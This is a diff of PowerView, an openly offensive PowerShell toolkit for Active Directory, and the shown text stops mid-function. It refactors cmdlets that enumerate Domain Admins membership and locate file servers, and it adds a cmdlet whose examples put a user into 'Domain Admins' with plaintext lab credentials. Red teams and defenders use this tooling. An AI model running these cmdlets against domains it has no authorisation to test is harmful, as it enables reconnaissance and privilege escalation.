+.EXAMPLE - .PARAMETER PageSize +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule - The PageSize to set for the LDAP searcher object. +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 - .PARAMETER Credential +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember - PS C:\> Get-NetGroupMember - - Returns the usernames that of members of the "Domain Admins" domain group. +.EXAMPLE - .EXAMPLE +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +.OUTPUTS + +PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +.LINK + +http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> - PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" - - Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupMember')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, - .LINK + [ValidateNotNullOrEmpty()] + [String] + $Domain, - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ -#> + [Parameter(ParameterSetName = 'ManualRecurse')] + [Switch] + $Recurse, - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $GroupName, + [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] + [Switch] + $RecurseUsingMatchingRule, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $SID, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $Domain, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSpath, - - [Switch] - $FullData, + $SearchScope = 'Subtree', - [Switch] - $Recurse, - - [Switch] - $UseMatchingRule, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, - [Management.Automation.PSCredential] - $Credential - ) + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, - begin { - if($DomainController) { - $TargetDomainController = $DomainController - } - else { - $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name - } + [Switch] + $Tombstone, - if($Domain) { - $TargetDomain = $Domain - } - else { - $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name - } + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'member,samaccountname,distinguishedname' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } - process { + PROCESS { + $GroupSearcher = Get-DomainSearcher @SearcherArguments if ($GroupSearcher) { - if ($Recurse -and $UseMatchingRule) { - # resolve the group to a distinguishedname - if ($GroupName) { - $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - elseif ($SID) { - $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - $GroupDN = $Group.distinguishedname - $GroupFoundName = $Group.samaccountname - - if ($GroupDN) { - $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" - $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + if ($PSBoundParameters['RecurseUsingMatchingRule']) { + $SearcherArguments['Identity'] = $Identity + $SearcherArguments['Raw'] = $True + $Group = Get-DomainGroup @SearcherArguments - $Members = $GroupSearcher.FindAll() - $GroupFoundName = $GroupName + if (-not $Group) { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" } else { - Write-Error "Unable to find Group" + $GroupFoundName = $Group.properties.item('samaccountname')[0] + $GroupFoundDN = $Group.properties.item('distinguishedname')[0] + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) + $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} } + $Null = $SearcherArguments.Remove('Raw') } else { - if ($GroupName) { - $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)" + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_ + if ($IdentityInstance -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentityInstance = $IdentityInstance | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } } - elseif ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512" - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" try { $Result = $GroupSearcher.FindOne() } catch { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" $Members = @() } $GroupFoundName = '' + $GroupFoundDN = '' if ($Result) { - $Members = $Result.properties.item("member") - - if($Members.count -eq 0) { + $Members = $Result.properties.item('member') + if ($Members.count -eq 0) { + # ranged searching, thanks @meatballs__ ! $Finished = $False $Bottom = 0 $Top = 0 - while(!$Finished) { + while (-not $Finished) { $Top = $Bottom + 1499 $MemberRange="member;range=$Bottom-$Top" $Bottom += 1500 - - $GroupSearcher.PropertiesToLoad.Clear() - [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname") + $Null = $GroupSearcher.PropertiesToLoad.Clear() + $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") + $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') + $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') + try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) - $GroupFoundName = $Result.properties.item("samaccountname")[0] + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] - if ($Members.count -eq 0) { + if ($Members.count -eq 0) { $Finished = $True } } @@ -5466,46 +9044,44 @@ function Get-NetGroupMember { } } else { - $GroupFoundName = $Result.properties.item("samaccountname")[0] + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] $Members += $Result.Properties.item($RangedProperty) } + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } } - $GroupSearcher.dispose() } - $Members | Where-Object {$_} | ForEach-Object { - # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion + ForEach ($Member in $Members) { if ($Recurse -and $UseMatchingRule) { $Properties = $_.Properties - } + } else { - if($TargetDomainController) { - $Result = [adsi]"LDAP://$TargetDomainController/$_" - } - else { - $Result = [adsi]"LDAP://$_" - } - if($Result){ - $Properties = $Result.Properties - } + $ObjectSearcherArguments = $SearcherArguments.Clone() + $ObjectSearcherArguments['Identity'] = $Member + $ObjectSearcherArguments['Raw'] = $True + $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' + $Object = Get-DomainObject @ObjectSearcherArguments + $Properties = $Object.Properties } - if($Properties) { - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype - - if ($FullData) { - $GroupMember = Convert-LDAPProperty -Properties $Properties - } - else { - $GroupMember = New-Object PSObject - } - - $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain + if ($Properties) { + $GroupMember = New-Object PSObject + $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN - if($Properties.objectSid) { - $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + if ($Properties.objectsid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) } else { $MemberSID = $Null @@ -5513,29 +9089,29 @@ function Get-NetGroupMember { try { $MemberDN = $Properties.distinguishedname[0] - - if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { try { - if(-not $MemberSID) { + if (-not $MemberSID) { $MemberSID = $Properties.cn[0] } - $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple' - if($MemberSimpleName) { + $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments + + if ($MemberSimpleName) { $MemberDomain = $MemberSimpleName.Split('@')[1] } else { - Write-Warning "Error converting $MemberDN" + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } catch { - Write-Warning "Error converting $MemberDN" + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } else { # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } catch { @@ -5546,507 +9122,821 @@ function Get-NetGroupMember { if ($Properties.samaccountname) { # forest users have the samAccountName set $MemberName = $Properties.samaccountname[0] - } + } else { # external trust users have a SID, so convert it try { - $MemberName = Convert-SidToName $Properties.cn[0] + $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments } catch { # if there's a problem contacting the domain to resolve the SID - $MemberName = $Properties.cn + $MemberName = $Properties.cn[0] } } + if ($Properties.objectclass -match 'computer') { + $MemberObjectClass = 'computer' + } + elseif ($Properties.objectclass -match 'group') { + $MemberObjectClass = 'group' + } + elseif ($Properties.objectclass -match 'user') { + $MemberObjectClass = 'user' + } + else { + $MemberObjectClass = $Null + } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN + $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID - $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup - $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN - $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') + $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') $GroupMember # if we're doing manual recursion - if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - if($FullData) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } - else { - Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } + if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { + Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" + $SearcherArguments['Identity'] = $MemberDN + $Null = $SearcherArguments.Remove('Properties') + Get-DomainGroupMember @SearcherArguments } } } + $GroupSearcher.dispose() } } } -function Get-NetFileServer { +function Add-DomainGroupMember { <# - .SYNOPSIS +.SYNOPSIS + +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +.PARAMETER Identity - Returns a list of all file servers extracted from user - homedirectory, scriptpath, and profilepath fields. +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. - .PARAMETER Domain +.PARAMETER Members - The domain to query for user file servers, defaults to the current domain. +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). - .PARAMETER DomainController +.PARAMETER Domain - Domain controller to reflect LDAP queries through. +Specifies the domain to use to search for user/group principals, defaults to the current domain. - .PARAMETER TargetUsers +.PARAMETER Credential - An array of users to query for file servers. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' - .PARAMETER Credential +Adds harmj0y to 'Domain Admins' in the current domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred - PS C:\> Get-NetFileServer - - Returns active file servers. +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetFileServer -Domain testing - - Returns active file servers for the 'testing' domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - param( - [String] - $Domain, - + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] [String] - $DomainController, + $Identity, + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] - $TargetUsers, + $Members, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [ValidateNotNullOrEmpty()] + [String] + $Domain, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - function SplitPath { - # short internal helper to split UNC server paths - param([String]$Path) + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments - if ($Path -and ($Path.split("\\").Count -ge 3)) { - $Temp = $Path.split("\\")[2] - if($Temp -and ($Temp -ne '')) { - $Temp + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } - $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))" - Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object { - # filter for any target users - if($TargetUsers) { - $TargetUsers -Match $_.samAccountName - } - else { $True } - } | ForEach-Object { - # split out every potential file server path - if($_.homedirectory) { - SplitPath($_.homedirectory) - } - if($_.scriptpath) { - SplitPath($_.scriptpath) - } - if($_.profilepath) { - SplitPath($_.profilepath) - } - } | Where-Object {$_} | Sort-Object -Unique + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Add($Member) + $Group.Save() + } + } + } } -function Get-DFSshare { +function Get-DomainFileServer { <# - .SYNOPSIS +.SYNOPSIS + +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION - Returns a list of all fault-tolerant distributed file - systems for a given domain. +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. - .PARAMETER Version +.PARAMETER Domain - The version of DFS to query for servers. - 1/v1, 2/v2, or all +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER Domain +.PARAMETER LDAPFilter - The domain to query for user DFS shares, defaults to the current domain. +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER DomainController +.PARAMETER SearchBase - Domain controller to reflect LDAP queries through. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER ADSpath +.PARAMETER Server - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER PageSize +.PARAMETER SearchScope - The PageSize to set for the LDAP searcher object. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER Credential +.PARAMETER ResultPageSize - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Specifies the PageSize to set for the LDAP searcher object. - .EXAMPLE +.PARAMETER ServerTimeLimit - PS C:\> Get-DFSshare +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Returns all distributed file system shares for the current domain. +.PARAMETER Tombstone - .EXAMPLE +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - PS C:\> Get-DFSshare -Domain test +.PARAMETER Credential - Returns all distributed file system shares for the 'test' domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainFileServer + +Returns active file servers for the current domain. + +.EXAMPLE + +Get-DomainFileServer -Domain testing.local + +Returns active file servers for the 'testing.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +.OUTPUTS + +String + +One or more strings representing file server names. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] [CmdletBinding()] - param( + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - [ValidateSet("All","V1","1","V2","2")] - $Version = "All", + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $Domain, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSpath, + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - function Parse-Pkt { - [CmdletBinding()] - param( - [byte[]] - $Pkt - ) - - $bin = $Pkt - $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) - $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) - $offset = 8 - #https://msdn.microsoft.com/en-us/library/cc227147.aspx - $object_list = @() - for($i=1; $i -le $blob_element_count; $i++){ - $blob_name_size_start = $offset - $blob_name_size_end = $offset + 1 - $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) - - $blob_name_start = $blob_name_size_end + 1 - $blob_name_end = $blob_name_start + $blob_name_size - 1 - $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) - - $blob_data_size_start = $blob_name_end + 1 - $blob_data_size_end = $blob_data_size_start + 3 - $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) - - $blob_data_start = $blob_data_size_end + 1 - $blob_data_end = $blob_data_start + $blob_data_size - 1 - $blob_data = $bin[$blob_data_start..$blob_data_end] - switch -wildcard ($blob_name) { - "\siteroot" { } - "\domainroot*" { - # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... - # DFSRootOrLinkIDBlob - $root_or_link_guid_start = 0 - $root_or_link_guid_end = 15 - $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] - $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str - $prefix_size_start = $root_or_link_guid_end + 1 - $prefix_size_end = $prefix_size_start + 1 - $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) - $prefix_start = $prefix_size_end + 1 - $prefix_end = $prefix_start + $prefix_size - 1 - $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) - - $short_prefix_size_start = $prefix_end + 1 - $short_prefix_size_end = $short_prefix_size_start + 1 - $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) - $short_prefix_start = $short_prefix_size_end + 1 - $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 - $short_prefix = 